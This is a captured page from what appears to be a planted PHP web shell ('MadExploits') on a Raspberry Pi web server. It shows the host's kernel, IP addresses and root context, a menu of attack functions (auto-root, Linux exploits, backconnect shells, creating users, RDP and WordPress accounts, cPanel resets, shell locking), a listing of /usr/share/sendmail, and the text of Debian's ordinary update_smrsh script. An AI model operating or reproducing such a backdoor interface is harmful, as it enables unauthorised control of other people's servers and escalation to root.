Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
sendmail /
[ HOME SHELL ]
Name
Size
Permission
Action
cf
[ DIR ]
drwxr-xr-x
examples
[ DIR ]
drwxr-xr-x
Parse_conf.pm
29.37
KB
-rwxr-xr-x
Parse_mc.pm
31.58
KB
-rwxr-xr-x
buildvirtuser
6.28
KB
-rwxr-xr-x
doublebounce.pl
6.15
KB
-rwxr-xr-x
dynamic
12.27
KB
-rwxr-xr-x
hoststat
31.9
KB
-rwxr-xr-x
mailq
31.9
KB
-rwxr-xr-x
mailstats
31.9
KB
-rwxr-xr-x
newaliases
31.9
KB
-rwxr-xr-x
parse_mc
2.77
KB
-rwxr-xr-x
purgestat
31.9
KB
-rwxr-xr-x
qtool.pl
24.08
KB
-rwxr-xr-x
runq
31.9
KB
-rwxr-xr-x
sendmail
31.9
KB
-rwxr-xr-x
smcontrol.pl
7.4
KB
-rwxr-xr-x
status
31.9
KB
-rwxr-xr-x
update_auth
9.92
KB
-rwxr-xr-x
update_authm4
7.85
KB
-rwxr-xr-x
update_conf
15.15
KB
-rwxr-xr-x
update_db
15.23
KB
-rwxr-xr-x
update_ldap
3.48
KB
-rwxr-xr-x
update_mc
10.28
KB
-rwxr-xr-x
update_mk
20.76
KB
-rwxr-xr-x
update_notices
7.19
KB
-rwxr-xr-x
update_sendmail
3.44
KB
-rwxr-xr-x
update_smrsh
2.42
KB
-rwxr-xr-x
update_sys
7.87
KB
-rwxr-xr-x
update_tcpd
1.93
KB
-rwxr-xr-x
update_tls
9.34
KB
-rwxr-xr-x
update_tlsm4
7.72
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_smrsh
#!/bin/sh -e #----------------------------------------------------------------------------- # # $Sendmail: update_smrsh,v 8.15.2 2024-06-17 19:31:44 cowboy Exp $ # # Update MDA programs used by Sendmail for Debian # # Copyright (c) 2002-2010 Richard Nelson. All Rights Reserved. # # Notes (to all): # * The entries in /etc/mail/smrsh are used by the feature(smrsh) and # sensible-mda. # # Notes (to self): # * # #----------------------------------------------------------------------------- set -e; # flag used to indicate a dataset has been moved, may need another update changed=0; new=1; def_progs="\ /usr/lib/sm.bin/mail.local \ /usr/lib/sm.bin/sensible-mda \ /usr/bin/vacation \ /usr/bin/procmail \ /usr/bin/maildrop \ /usr/bin/deliver \ "; # Path to other sendmail helpers if [ -x ./update_sendmail ]; then sm_path='.'; elif [ -x $(dirname $0)/update_sendmail ]; then sm_path=$(dirname $0); else sm_path=/usr/share/sendmail; fi; # Bring in sendmail.conf for the network definitions if [ ! -f /etc/mail/sendmail.conf ]; then if [ -x $sm_path/update_conf ]; then $sm_path/update_conf; fi; fi; if [ -f /etc/mail/sendmail.conf ]; then . /etc/mail/sendmail.conf; fi; if [ "$HANDS_OFF" != 'No' ]; then exit 0; fi; echo " "; echo "Checking for installed MDAs..."; #------------------------------------------------------------------------------ # /etc/mail/smrsh is where the links to MDAs and authorized forwarding progs if [ ! -e /etc/mail/smrsh ]; then changed=1; new=1; fi; chown smmta:smmsp /etc/mail/smrsh; chmod 02755 /etc/mail/smrsh; #------------------------------------------------------------------------------ # Iterate over the default list of programs and create any missing items for file in $def_progs; do ppath=$(dirname "$file"); pname=$(basename "$file"); # the file doesn't exist, see if we can remove its link if [ ! -e $file ]; then # let have there own version eh? if [ -e /etc/mail/smrsh/$pname ]; then true; # no, if its a danglink symlink, drop it elif [ -L /etc/mail/smrsh/$pname ]; then echo "Removing link for no longer extant program ($pname)"; rm /etc/mail/smrsh/$pname; fi; # the file exists, see if we need to add its link elif [ ! -e /etc/mail/smrsh/$pname ]; then echo "Adding link for newly extant program ($pname)"; ln -sf $file /etc/mail/smrsh/$pname; changed=1; fi; done; #------------------------------------------------------------------------------ exit $changed;
Close